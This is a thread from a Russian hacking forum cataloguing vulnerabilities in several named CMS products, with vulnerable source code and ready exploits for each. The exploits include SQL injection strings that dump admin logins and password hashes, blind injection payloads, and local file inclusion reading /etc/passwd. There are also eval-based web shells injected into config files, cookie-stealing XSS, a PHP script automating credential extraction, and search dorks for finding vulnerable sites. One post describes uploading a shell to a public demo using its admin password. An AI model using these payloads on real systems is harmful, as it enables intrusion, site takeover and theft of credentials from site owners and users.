Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Fapos CMS 1.1.8(Последняя версия)

    1. Обход ЧПУ
    .htacess:
    PHP:
    <IfModule mod_rewrite.c>

        
    RewriteEngine On

        RewriteBase 
    /

        
    RewriteCond %{REQUEST_FILENAME} !-d

        RewriteCond 
    %{REQUEST_FILENAME} !-f

        RewriteRule 
    ^(.*)$ index.php?url=$[QSA,L]

    </
    IfModule>
    Возможен обход ЧПУ(Что нам поможет в эксплуатации GET уязвимостей). Ну а на сам ЧПУ конечно же идёт фильтр:
    PHP:
    if(!preg_match('#^[\#/\?&_\-=\.а-яa-z0-9]*$#ui'urldecode($_SERVER['REQUEST_URI']))) 
    ...
    ?>
    Который пропускает \n в конце строки

    2. LFI
    Зависимости: MQ=off, отключенная проверка URL на SQL-inj, бинарнонесовместимая функция is_file и include_once.
    Файл: index.php
    PHP:
            if (!isset($_GET['url'])) {
    ...
            } else {
                
    $pathParams explode('/'$_GET['url']);
                foreach (
    $pathParams as $key => $value) {
                    if (empty(
    $value)) unset($pathParams[$key]);
                }
            }
            if (empty(
    $pathParams)) {
    ...
            } 
            
            
    //may be i need upgrade this...hz
            
    if (count($pathParams) == && preg_match('#^\d+$#'$pathParams[0])) {
    ...
            } else if (
    count($pathParams) == ) {
    ...
            }
            
            foreach (
    $pathParams as $key => $val) {
                
    $pathParams[$key] = trim($val);
            }
            
            return 
    $pathParams;
    ...
    $this->callAction($pathParams);
    ...
    //function callAction($params) 
    if (!is_file('modules/' strtolower($params[0]) . '/index.php')) {
    ...
    }

    include_once 
    'modules/' strtolower($params[0]) . '/index.php';
    Обычные слэши использовать нельзя, однако кроме них можно ещё кучей способов эуспулотировать LFI: http://wfuzz.googlecode.com/svn-history/r2/trunk/wordlist/vulns/dirTraversal-nix.txt

    Остальной код в CMS разбросан по модулям(Это будут уже уязвимости модулей.).
    Эксплоит: /?url=news\index.php%00h
     
    #461 randman, 13 Aug 2011
    Last edited: 13 Aug 2011
  2. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    ExpCMS blind sql-inj

    PHP:
    <?
    /**
    * Auth - Auth class file

    * Used for user authentication.
    *
    * @author        Piotr Usewicz <[email protected]>
    * @copyright    Copyright (C) 2003 Piotr Usewicz
    * @access        public
    * @package        ExpCMS
    * @subpackage    Auth
    */
    class Auth
    {
        
    /**
        * AuthStart: Used for initializing main functions for auth
        * @access    public
        */
        
    function AuthStart()
        {
            global 
    $_EXPCMS;

        } 
    // end func AuthStart()

        /**
        * Authenticate: Checks whether user name and password are valid
        * @access    public
        * @param    string        User name
        * @param    string        User password
        * @return    boolean        True/False if authentication is ok/not ok
        */
        
    function Authenticate $user_name$user_password )
        {

            global 
    $_EXPCMS;
            if ( isset ( 
    $user_name ) && isset ( $user_password ))
            {

                
    $result $_EXPCMS->db->Execute "SELECT user_id, user_pass from " $_EXPCMS->config->GetVar "Tables.Auth" ) . " where user_name = '$user_name'" );
                if ( 
    $result === false )
                {
                    
                    
    RaiseError __FILE____LINE__"Error executing db query:" $_EXPCMS->db->ErrorMsg() );

                }
                else
                {

                    
    $user $_EXPCMS->db->GetArray();
                    
    // check if login is correct, if yes, save session variables
                    
    if ( md5 $user_pass ) == $user['user_pass'] )
                    {

                        
    $_EXPCMS->session->SessionRegister "authenticated");
                        
    $_EXPCMS->session->SessionRegister "user_name"$user_name );
                        
    $_EXPCMS->session->SessionRegister "user_pass"$user['user_pass'] );
                        
    $_EXPCMS->session->SessionRegister "user_id"$user['user_id'] );
                        
    // when authenticated
                        
    $_EXPCMS->session->SessionRegister "timestamp"time() );
                        
    // time since last action... used for session/auth timeout
                        
    $_EXPCMS->session->SessionRegister "idle"time() );
                        return 
    true;

                    }
                    else
                    {
                        return 
    false;
                    }

                }

            }

        } 
    // end func Authenticate()

        /**
        * IsAuthenticated: Checks if user is authenticated
        * @access        public
        * @param        string        User name
        * @return        boolean        Whether is or not authenticated
        */
        
    function IsAuthenticated $user_name )
        {

            global 
    $_EXPCMS;
            
    // check if we got the session variables set
            
    if ( $_EXPCMS->session->SessionIs "authenticated" ) && $_EXPCMS->session->SessionGet "authenticated" ) == )
            {
                return 
    true;
            }
            else
            {
                return 
    false;
            }

        } 
    // end func IsAuthenticated()

        /**
        * SetIdle: Sets new idle time
        * 
        * Used when user has performed an action. Refreshes the last action time.
        * When idle time is too long, session can be timed out.
        *
        * @access        public
        * @param        integer        Optional - new idle time to add to current time
        */
        
    function SetIdle $time )
        {

            global 
    $_EXPCMS;
            if ( 
    $_EXPCMS->session->SessionIs "authenticated" ) && $_EXPCMS->session->SessionGet "authenticated" ) == && $_EXPCMS->session->SessionIs "user_name" ) )
            {

                if ( 
    $time == )
                {
                    
    $_EXPCMS->session->SessionRegister "idle"time() );
                }
                else
                {
                    
    $_EXPCMS->session->SessionRegister "idle"time() + $time );
                }

            }

        }


    }
    ?>
    В поле логина(если всетаки есть вывод ошибок):
    Code:
    admin'+OR+'pwd'='pwd'+UNION+SELECT+group_concat(user_id,0x3a,user_pass+separator+0x3c62723e),2+from+gry_users+--
    ну, а если нет вывода - то как слепую(поля и таблица есть)
     
  3. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Mu Online Advanced webshop <= 0.9C (пассивная XSS)

    http://host.com/*path*/login.php?rs=<script>alert(document.cookie)</script>

    При входе, логин/пасс(мд5) пишется в куки. Уязвимый код : inc/sajax.php
     
    1 person likes this.
  4. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    ottoman cms [SQL-Injection]

    view.php
    PHP:
    ...
    include 
    'header.php';
    // Detect If User Is Logged In 
    if (empty($logged_in)) { $login_form "form"; include 'login.php'; }

    else {
    $id $_GET['id'];
    $type $_GET['type'];

    switch(
    $type)
    {
    case 
    article:
    // Top Menu
    echo "<div class=\"blue-header\">Article Viewer</div>";

    $article_sql mysql_query("SELECT * FROM articles WHERE id = '$id'");
    while(
    $article mysql_fetch_array($article_sql)){
    $article = new Article($article[id]);
    $article->show();
    echo 
    "<br /><span class=\"object-header\">$article->article_name";
    if (
    $article->article_status == "private") { echo " <b>[private]</b>"; }
    if (
    $article->article_status == "draft") { echo " <b>[draft]</b>"; }
    ...
    exploit:
    PHP:
    http://temp/veiw.php?type=article&id=1+UNION+SELECT+1,group_concat(admin_user,0x3a,admin_pass+SEPARATOR+0x3c62723e),3,4,5,6,7+FROM+configuration+--
     
    1 person likes this.
  5. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    SiteXS CMS [SQL-inj && XSS && PHP-inc]
    ++++++++++++
    ...this is the beginning, of progressive attack... (c) The Theme, Brooklyn Bounce
    ++++++++++++

    dork: "is powered by SiteXS CMS"

    1::SQL-inj::[GET]
    users.class.php
    PHP:
    ...
    global 
    $HTTP_GET_VARS$HTTP_POST_VARS;
    $this->id=$HTTP_GET_VARS["id"];
    ...
    $res=$db->query("select * from users where id=".$this->id);
    $this->data=$db->fetch_array($res);
    ...
    exploit:
    Code:
    http://temp/modules/member.php?id=-666+UNION+SELECT+1,group_concat(login,0x3a,pass+SEPARATOR+0x3c62723e),3,4,5,6,7+FROM+users+WHERE+admin=1+--
    
    2::SQL-inj::[GET]
    subscribe.class.php
    PHP:
    ...
    $this->mid=$HTTP_GET_VARS["mid"];
    ...
    $res=$db->query("select * from subs_messages where id=".$this->mid);
    ...
    exploit:
    Code:
    http://temp/lib/message.php?mid=-666+UNION+SELECT+1,2,3,group_concat(login,0x3a,pass+SEPARATOR+0x3c62723e),5,6,7,8,9+FROM+users+WHERE+admin=1+--
    
    3::SQL-inj::[GET]
    sitemap.class.php
    PHP:
    ...
    $data["id"] = $HTTP_GET_VARS["did"];
    ...
    function 
    _sel($id=0$url=""$menu=0
    ...
    $sel.=$this->_sel($data["id"], $url1);
    ...
    $res=$db->query("select id, title, url from chapters where (pid=$id and url<>'searchresult' and url<>'sitemap' and type<>4 and id<>1)$where order by sortorder");
    ...
    exploit:
    Code:
    http://temp/lib/map.php?did=-666+UNION+SELECT+group_concat(login,0x3a,pass+SEPARATOR+0x3c62723e),2,3+FROM+users+WHERE+admin=1+--
    
    4::pHP-inc
    export.php
    PHP:
    ...
    $page $HTTP_GET_VARS["pg"];
    ...
    include 
    "$root/lib/$page.php";
    ...
    foreach (
    $lines as $key => $value) {

        if (
    trim($value)) {

            
    $tmp=explode("|||"trim($value));

            
    preg_match("'(\d{1,2})\.(\d{1,2})\.(\d{1,4}) (\d{1,2}):(\d{1,2}):(\d{1,2})'"$tmp[1], $time_arr);

            
    $tmp[1]= mktime($time_arr[4], $time_arr[5], $time_arr[6], $time_arr[2], $time_arr[1], $time_arr[3]);

            
    $tmp[3]=str_replace("\\n""||||||||n"$tmp[3]);

            
    $tmp[3]=$hc->cleanup(stripslashes($tmp[3]));

            
    $tmp[3]=str_replace("||||||||n""\\n"$tmp[3]);

            
    $res=$db->query("select id from news where matID=$tmp[0]");

            if (!
    $db->num_rows($res)) {

                
    $db->query("insert into news set time='$tmp[1]', title='$tmp[2]', text='$tmp[3]', matID='$tmp[0]'");

            }

            
    $arr[]=$tmp;
    ...
    exploit:
    Code:
    http://temp/lib/export.php?pg=../../../../../../etc/passwd%00
    
    5::pHP-inc
    post.php
    PHP:
    <?php
    session_start
    ();
    $dr"D:\\vhosts\\yarlson.net.ru\\mifs";

    include 
    $dr."/lib/db.conf.php";
    include 
    $dr."/lib/mysql.class.php";
    include 
    $dr."/lib/modules/".$_POST["type"].".class.php";

    $mod= new $_POST["type"]("""""");
    if (
    method_exists($mod"_POST")) {
        
    $mod->_POST($_POST);
    }
    ?>
    exploit:
    Code:
    by POST method!
    http://temp/post.php?type=../../../../../../../etc/passwd%00
    
    6::SQL-inj::[POST]
    adm.class.php
    PHP:
    ...
                if (
    $_POST["user"] && $_POST["pass"]) {
                    
    $db=new sql;
                    
    $db->connect();
                    
    $res=$db->query("select id, pass from users where login='".$_POST["user"]."'");
                    
    $data=$db->fetch_array($res);
    ...
    exploit:
    PHP:
    <?php 
    $sock 
    fsockopen("temp"80$errno$errstr30); 
    if (!
    $sock) die("$errstr ($errno)\n"); 
    $data "user=" urlencode("antichat+union+select+group_concat(login,0x3a,pass+SEPARATOR+0x3c62723e),2+from+users+where+admin=1") . "&pass=qwerty"
    fwrite($sock"POST /adm/login.php HTTP/1.1\r\n"); 
    fwrite($sock"Host: temp\r\n"); 
    fwrite($sock"Content-type: application/x-www-form-urlencoded\r\n"); 
    fwrite($sock"Content-length: " strlen($data) . "\r\n"); 
    fwrite($sock"Accept: */*\r\n"); 
    fwrite($sock"\r\n"); 
    fwrite($sock"$data\r\n"); 
    fwrite($sock"\r\n"); 

    $body ""
    while (!
    feof($sock)) $body .= fgets($sock4096); 
    preg_match_all("/.*?:\w{32}/i"$body$hash); 
    if (
    $hash[0]) print_r($hash[0]); 
    fclose($sock); 
    ?>
     
    #465 Moriarty, 27 Aug 2011
    Last edited: 27 Aug 2011
    1 person likes this.
  6. Boobby

    Boobby Member

    Joined:
    10 Aug 2011
    Messages:
    0
    Likes Received:
    20
    Reputations:
    5
    ASEN CMS 5.4.2
    http://wap-studio.ru
    обход авторизации
    логин ' or 1=1-- пасс любой
     
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    VentaCMS [SQL-inj]

    search.php
    SQL-inj::[POST]

    mod_search.php
    absOffers.php
    exploit:

    Пример уязвимого сайта:
    Сайт производителя:
     
    _________________________
    2 people like this.
  8. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    _http://flexigrid.info/ -> плагин таблицы для jquery

    _http://iexx.biz/post/dynamic tables with FlexGrid.html -> рабочий пример с реализацией на PHP

    _http://sanderkorvemaker.nl/test/flexigrid/flexigrid.zip -> исходники

    index.php
    ...$("#flex1").flexigrid
    (
    {
    url: 'post2.php',...

    post2.php вытаскивает записи с БД у указаными параметрами количество записей, страница, сортировка, данные с grida лезут.
    Отлавливаем скрипт, напрямую обращаемся и проверяем параметры.

    blind sql

    <form action='http://localhost/flexigrid/post2.php' method='post'>
    <input type='text' name='query' value='1'>
    <input type='text' name='qtype' value='id` and 1=0-- '>
    <input type='submit'>
    </form>

    => false

    <form action='http://localhost/flexigrid/post2.php' method='post'>
    <input type='text' name='query' value='1'>
    <input type='text' name='qtype' value='id` and 1=1-- '>
    <input type='submit'>
    </form>

    =>true
     
    #468 Strilo4ka, 30 Oct 2011
    Last edited: 30 Oct 2011
    2 people like this.
  9. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    ClipBucket CMS

    ClipBucket CMS 2.6 (последняя версия)
    clip-bucket.com

    prefix: cb_
    dorki: Forged by ClipBucket // Arslan Hassan // view_item.php collection item type



    exploits:

    Time-Based
    Code:
    GET /watch_video.php?v=GNDB5XUWMW32' AND 666=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),CHAR(32))),1,1)) > 1),SLEEP(5),666) AND 'qwe'='qwe
    или
    Boolean-Based
    Code:
    GET /view_item.php?item=DKHM63R22191' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0,1),1,1)) > 112 AND 'qwe'='qwe&type=photos&collection=9

    examples:

    Code:
    admin:3afe97fe4ad12d234bec2db193e8e649
    Shell Upload:
    Code:
    админка:[COLOR=Indigo] [I]/admin_area[/I][/COLOR]
    Ну и собстенно сюрприз:
    function pass_code($string) {
    $password = md5(md5(sha1(sha1(md5($string)))));
    return $password;
    }



    vurnel files:

    view_item.php
    PHP:
    <?php
    /* 
     ******************************************************************
     | Copyright (c) 2007-2011 Clip-Bucket.com. All rights reserved.    
     | @ Author : ArslanHassan                                            
     | @ Software : ClipBucket , © PHPBucket.com                        
     *******************************************************************
    */

    define("THIS_PAGE",'view_item');
    define("PARENT_PAGE",'collections');

    require 
    'includes/config.inc.php';

    $item $_GET['item'];    
    $type $_GET['type'];
    $cid  $_GET['collection'];
    $order tbl("collection_items").".ci_id DESC";

    if(
    $cbcollection->is_viewable($cid))
    {
        if(empty(
    $item))
            
    header('location:'.BASEURL);
        else
        {
            if(empty(
    $type))
                
    header('location:'.BASEURL);
            else
            {
                
    assign('type',$type);
                
    $param = array("type"=>$type,"cid"=>$cid);
                
    $cdetails $cbcollection->get_collections($param);
                
    $collect $cdetails[0];
                switch(
    $type)
                {
                    case 
    "videos":
                    case 
    "v":
                    {
                        global 
    $cbvideo;
                        
    $video $cbvideo->get_video($item);
                        
                        if(
    video_playable($video))
                        {
                            
    //Getting list of collection items
                            
    $page mysql_clean($_GET['page']);
                            
    $get_limit create_query_limit($page,20);
                            
    $order tbl("collection_items").".ci_id DESC";

                            
    $items $cbvideo->collection->get_collection_items_with_details($cid,$order,$get_limit);
                            
    assign('items',$items);
                            
                            
    assign('open_collection','yes');
                            
    $info $cbvideo->collection->get_collection_item_fields($cid,$video['videoid'],'ci_id,collection_id');
                            if(
    $info)
                            {
                                
    $video array_merge($video,$info[0]);                        
                                
    increment_views($video['videoid'],'video');
                                
                                
    assign('object',$video);
                                
    assign('user',$userquery->get_user_details($video['userid']));
                                
    assign('c',$collect);                        
                                
                                
    subtitle($video['title']);
                                
                            } else {
                                
    e(lang("item_not_exist"));
                                
    $Cbucket->show_page false;
                            }
                        } else {
                            
    e(lang("item_not_exist"));
                            
    $Cbucket->show_page false;    
                        }
                        
                        
                    }
                    break;
                    
                    case 
    "photos":
                    case 
    "p":
                    {
                        global 
    $cbphoto;
                        
    $photo $cbphoto->get_photo($item);
                        if(
    $photo)
                        {
                            
    $info $cbphoto->collection->get_collection_item_fields($cid,$photo['photo_id'],'ci_id');
                            if(
    $info)
                            {
                                
    $photo array_merge($photo,$info[0]);                            
                                
    increment_views($photo['photo_id'],'photo');
                                
                                
    assign('object',$photo);
                                
    assign('user',$userquery->get_user_details($photo['userid']));
                                
    assign('c',$collect);
                                
                                
    subtitle($photo['photo_title'].' &laquo; '.$collect['collection_name']);
                            } else {
                                
    e(lang("item_not_exist"));
                                
    $Cbucket->show_page false;    
                            }
                        } else {
                            
    e(lang("item_not_exist"));
                            
    $Cbucket->show_page false;    
                        }
                    }
                    break;
                }
        
            }        
        }
    } else 
        
    $Cbucket->show_page false;

    template_files('view_item.html');
    display_it();
    ?>
    watch_video.php
    PHP:
    <?php
    /* 
     ******************************************************************
     | Copyright (c) 2007-2011 Clip-Bucket.com. All rights reserved.    
     | @ Author : ArslanHassan                                            
     | @ Software : ClipBucket , © PHPBucket.com                        
     *******************************************************************
    */

    define("THIS_PAGE",'watch_video');
    define("PARENT_PAGE",'videos');
    require 
    'includes/config.inc.php';
    $userquery->perm_check('view_video',true);
    $pages->page_redir();

    //Getting Video Key
    $vkey = @$_GET['v'];
    $vdo $cbvid->get_video($vkey);
    assign('vdo',$vdo);
    if(
    video_playable($vdo))
    {    
        
        
    /**
         * Please check http://code.google.com/p/clipbucket/issues/detail?id=168
         * for more details about following code
         */
         
        
    if(SEO=='yes')
        {
            
    //Checking if Video URL is Exactly What we have created
            
    $vid_link videoLink($vdo);
            
    $vid_link_seo explode('/',$vid_link);
            
    $vid_link_seo $vid_link_seo[count($vid_link_seo) -];
            
            
    //What we are getting
            
    $server_link $_SERVER['REQUEST_URI'];
            
    $server_link_seo explode('/',$server_link);
            
    $server_link_seo $server_link_seo[count($server_link_seo) -];
            
            
    //Now finally Checking if both are equal else redirect to new link
            
    if($vid_link_seo != $server_link_seo)
            {
                
    //Redirect to valid link leaving mark 301 Permanent Redirect
                
    header ('HTTP/1.1 301 Moved Permanently');
                  
    header ('Location: '.$vid_link);
                exit();
            }
            
        }
        
        
    //Checking for playlist
        
    $pid $_GET['play_list'];
        if(!empty(
    $pid))
        {
            
    $plist $cbvid->action->get_playlist($pid,userid());
            if(
    $plist)
                
    $_SESSION['cur_playlist'] = $pid;
        }    
        
    //Calling Functions When Video Is going to play
        
    call_watch_video_function($vdo);
        
        
    subtitle($vdo['title']);
        
    }else
        
    $Cbucket->show_page false;

    //Return category id without '#'
    $v_cat $vdo['category'];
    if(
    $v_cat[2] =='#') {
    $video_cat $v_cat[1];
    }else{
    $video_cat $v_cat[1].$v_cat[2];}
    $vid_cat str_replace('%#%','',$video_cat);
    assign('vid_cat',$vid_cat);


    //Displaying The Template
    template_files('watch_video.html');
    display_it();
    ?>
    functions.php

    PHP:
    <?php
    /**
    ###################################################################
    # Copyright (c) 2008 - 2010 ClipBucket / PHPBucket
    # URL:              [url]http://clip-bucket.com[/url]
    # Function:         Various
    # Author:           Arslan Hassan
    # Language:         PHP
    # License:          Attribution Assurance License
    # [url]http://www.opensource.org/licenses/attribution.php[/url]
    # Version:          $Id: functions.php 737 2011-09-29 12:50:33Z ahzulfi $
    # Last Modified:    $Date: 2011-09-29 17:50:33 +0500 (Thu, 29 Sep 2011) $
    # Notice:           Please maintain this section
    ####################################################################
    */

     
    define("SHOW_COUNTRY_FLAG",TRUE);
     require 
    'define_php_links.php';
     include_once 
    'upload_forms.php';
     

     
        
    //This Funtion is use to get CURRENT PAGE DIRECT URL
        
    function curPageURL()
        {
             
    $pageURL 'http';
            if (@
    $_SERVER["HTTPS"] == "on") {
            
    $pageURL .= "s";
            }
            
    $pageURL .= "://";
             
    $pageURL .= $_SERVER['SERVER_NAME'];
            
    $pageURL .= $_SERVER['PHP_SELF'];
            
    $query_string $_SERVER['QUERY_STRING'];
            if(!empty(
    $query_string)){
            
    $pageURL .= '?'.$query_string;
            }
             return 
    $pageURL;
        }
        
        
    //QuotesReplace
        
    function Replacer($string)
        {
        
    //Wp-Magic Quotes
        
    $string preg_replace("/'s/"'’s'$string);
        
    $string preg_replace("/'(\d\d(?:’|')?s)/""’$1"$string);
        
    $string preg_replace('/(\s|\A|")\'/''$1‘'$string);
        
    $string preg_replace('/(\d+)"/''$1″'$string);
        
    $string preg_replace("/(\d+)'/"'$1′'$string);
        
    $string preg_replace("/(\S)'([^'\s])/""$1’$2"$string);
        
    $string preg_replace('/(\s|\A)"(?!\s)/''$1“$2'$string);
        
    $string preg_replace('/"(\s|\S|\Z)/''”$1'$string);
        
    $string preg_replace("/'([\s.]|\Z)/"'’$1'$string);
        
    $string preg_replace("/ \(tm\)/i"' ™'$string);
        
    $string str_replace("''"'”'$string);

        
    $array = array('/& /');
        
    $replace = array('&amp; ') ;
        return 
    $string preg_replace($array,$replace,$string);
        }
        
    //This Funtion is used to clean a String
        
        
    function clean($string,$allow_html=false) {
          
    //$string = $string;
          //$string = htmlentities($string);
         
    if($allow_html==false){
              
    $string strip_tags($string);
             
    $string =  Replacer($string);
         }
        
    // $string = utf8_encode($string);
          
    return $string;
        }
        
        function 
    cb_clean($string,$array=array('no_html'=>true,'mysql_clean'=>false))
        {
            if(
    $array['no_html'])
                
    $string htmlentities($string);
            if(
    $array['special_html'])
                
    $string htmlspecialchars($string);
            if(
    $array['mysql_clean'])
                
    $string mysql_real_escape_string($string);
            if(
    $array['nl2br'])
                
    $string nl2br($string);
            return 
    $string;
        }
        
        
    //This Fucntion is for Securing Password, you may change its combination for security reason but make sure dont not rechange once you made your script run
        
        
    function pass_code($string) {
          
    $password md5(md5(sha1(sha1(md5($string)))));
          return 
    $password;
        }
        
        
    //Mysql Clean Queries
        
    function sql_free($id)
        {
            if (!
    get_magic_quotes_gpc())
            {
                
    $id addslashes($id);
            }
            return 
    $id;
        }
        
        
        function 
    mysql_clean($id,$replacer=true){
            
    //$id = clean($id);
            
            
    if (get_magic_quotes_gpc())
            {
                
    $id stripslashes($id);
            }
            
    $id htmlspecialchars(mysql_real_escape_string($id));
            if(
    $replacer)
                
    $id Replacer($id);
            return 
    $id;
        }
        
        function 
    escape_gpc($in)
        {
            if (
    get_magic_quotes_gpc())
            {
                
    $in stripslashes($in);
            }
            return 
    $in;
        }
        
        
        
    //Redirect Using JAVASCRIPT
        
        
    function redirect_to($url){
            echo 
    '<script type="text/javascript">
            window.location = "'
    .$url.'"
            </script>'
    ;
            exit(
    "Javascript is turned off, <a href='$url'>click here to go to requested page</a>");
            }
        
        
    //Test function to return template file
        
    function Fetch($name,$inside=FALSE)
        {
            if(
    $inside)
                
    $file CBTemplate::fetch($name);
            else
                
    $file CBTemplate::fetch(LAYOUT.'/'.$name);
                
            return 
    $file;            
        }
        
        
    //Simple Template Displaying Function
        
        
    function Template($template,$layout=true){
        global 
    $admin_area;
            if(
    $layout)
            
    CBTemplate::display(LAYOUT.'/'.$template);
            else
            
    CBTemplate::display($template);
            
            if(
    $template == 'footer.html' && $admin_area !=TRUE){
                
    CBTemplate::display(BASEDIR.'/includes/templatelib/'.$template);
            }
            if(
    $template == 'header.html'){
                
    CBTemplate::display(BASEDIR.'/includes/templatelib/'.$template);
            }            
        }
        
        function 
    Assign($name,$value)
        {
            
    CBTemplate::assign($name,$value);
        }
        
        
    //Funtion of Random String
        
    function RandomString($length)
        {
            
    $string md5(microtime());
            
    $highest_startpoint 32-$length;
            
    $randomString substr($string,rand(0,$highest_startpoint),$length);
            return 
    $randomString;
        
        }
     
    2 people like this.
  10. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Magic Search 1.4 (http://magicsearch.pp.ua/)
    dorks: "Created by Kiria-Studio"

    В продолжение этой темы: http://forum.antichat.ru/thread298944.html

    SQL Injection
    /static.php
    PHP:
    if (isset($_GET['str'])) {$str $_GET['str']; }
    if (!isset(
    $str)) 
    /* Проверяем, является ли переменная числом */
    if (!preg_match("|^[\d]+$|"$str)) {
    exit (
    "<p>Неверный формат запроса! Проверьте url! <br> Если вы уверены что мы дали вам данную ссылку сообщите нам с помощью <a href='feedback.php'>обратной связи </a>");
    }
    $result mysql_query("SELECT * FROM static WHERE str='$str'");
    /**
    Логики вообще никакой. Если есть $_GET['str'] то устанавливаем переменную $str, если нет, то проверяем, является ли она числом. оО
    Ну и без какой-либо обработки собственно происходит запрос в базу данных.
    **/
    PoC:
    Code:
    /static.php?str='+and+1=2+union+select+1,2,concat_ws(0x3a,version(),user(),database())+--+
    
    NEED: magiq_quotes = OFF


    Local File Include
    /page.php
    PHP:
    if ($_COOKIE['langu']) {
        include_once(
    "./languages/".$_COOKIE['langu']."-language.php"); 
    }
    PoC:
    Code:
    В cookies:
    langu=../../../../../etc/passwd%00
    
    Shell Upload
    не уверен что можно так назвать эту уязвимость Жесткий и палевный метод.
    /install.php
    PHP:
    if(isset($_POST['go_ed'])) {

        if (!is_writable("settings/database.php")) {
            print "<p style='color:#FF0033'><strong>Файла database.php несуществует или незаданы права доступа 666</strong></p>";
        } else {
            $fhandle=fopen("settings/database.php","w");
            fwrite($fhandle,"<?php \n");
            fwrite(
    $fhandle,"/***********************\n Файл БД\n***********************/\n");
            fwrite(
    $fhandle,"$"."database    '". $_POST['_database']. "';\n");
            fwrite(
    $fhandle,"$"."mysql_user    '".$_POST['_mysql_user']. "';\n");
            fwrite(
    $fhandle,"$"."mysql_password    '".$_POST['_mysql_password']. "';\n");
            fwrite(
    $fhandle,"$"."mysql_host    '".$_POST['_mysql_host']. "';\n");
            fwrite(
    $fhandle,"$"."mysql_table_prefix    '".$_mysql_table_prefix. "';\n\n\n");
    PoC: В поле "Имя базы":
    Code:
    '; eval($_REQUEST['cmd']); /* 
    
    Если все прошло удачно, то эксплуатируем:
    Code:
    /settings/database.php?cmd=phpinfo();
    
    NEED: magiq_quotes = OFF


    Bypass authorization
    Для входа в админку не нужно знать даже логин и пасс админа.
    /admin/login.php
    PHP:
    if(isset($_POST['go']))
    {
    $q2=mysql_query("SELECT * FROM users WHERE username='".$_REQUEST['login']."'");
    $f mysql_fetch_array($q2);
        if((
    $_REQUEST['login']==$f['username']) && ($_REQUEST['passwd']==$f['password']))
        {
            
    $_SESSION['enter'] = "1";
            
    $_SESSION['us_id'] = $f['user_id'];
            
    $_SESSION['right'] = $f['rig'];
            if(
    $_SESSION['right']>'40')
            {
                    
    header("Location: index.php");

            }

    PHP:
    if(($_REQUEST['login']==$f['username']) && ($_REQUEST['passwd']==$f['password']))
    Конечно, данная строка нас должна удручить.

    Но! =)
    PoC:
    Code:
    Login: ' AND 1=2 UNION SELECT 1,SUBSTR(info,37,LENGTH(info)-36-1),3,50 FROM information_schema.processlist -- 
    Password: 3
    
    NEED: magiq_quotes = OFF

    Shell Upload
    Нужны права на правку /settings/conf.php, и права администратора.
    URL: /admin/?f=settings

    Редактируем любой параметр на
    Code:
    '; @eval($_REQUEST['cmd']); $s='
    
    Выполнение кода:
    Code:
    /settings/conf.php?cmd=phpinfo();
    
    NEED: magiq_quotes = OFF

    Узнаем логин:пароль к базе данных.
    /dumper.php
    PHP:
    if (!empty($_POST['login']) && isset($_POST['pass'])) {
        if (@
    mysql_connect(DBHOST$_POST['login'], $_POST['pass'])){
            
    setcookie("sxd"base64_encode("SKD101:{$_POST['login']}:{$_POST['pass']}"));
            
    header("Location: dumper.php");
            
    mysql_close();
            exit;
        }
    Остается заполучить cookies админа, после того как он делал бэкап.
    XSS через SQL-inj:
    Code:
    /static.php?str='+and+1=2+union+select+1,2,'<script>alert(document.cookie);</script>'+--+
    
    В параметр sxd будет содержаться закодированный логин и пасс к бд. Алгоритм шифрования - base64.
     
    2 people like this.
  11. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    Website Baker CMS

    Website Baker CMS заливка шелла, все версии
    Нужна админка. Уязвимость существует из-за того, что админы этой CMS незнают, что можно *.phtml выполнять как php :)
    1) Идем в админку:
    http://www.opensourcecms.com/demo/2/68/Website_Baker
    admin:demo123
    2) В раздел Media
    3) Переименуем наш шелл в *.phtml, т.е. wso.php => wso.phtml
    4) Заливаем через форму справа(Upload file(s))
    5) Получаем шелл, причем с сайта opensourcecms.com :D


    UPD. Кто убил демку WebBaker-а? o_O Имейте совесть...
     
    #471 tabletkO, 5 Nov 2011
    Last edited: 5 Nov 2011
    1 person likes this.
  12. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    Pligg CMS v.1.2.0 (последняя) g00gle >7KK
    dorki:
    Pligg Content Management System
    Pligg CMS

    Boolean-Based vurnel
    Code:
    http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),2,1)) > 1 AND 'AOOt'='AOOt
    Code:
    http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),1,1)) > 51 AND 'AOOt'='AOOt
    Code:
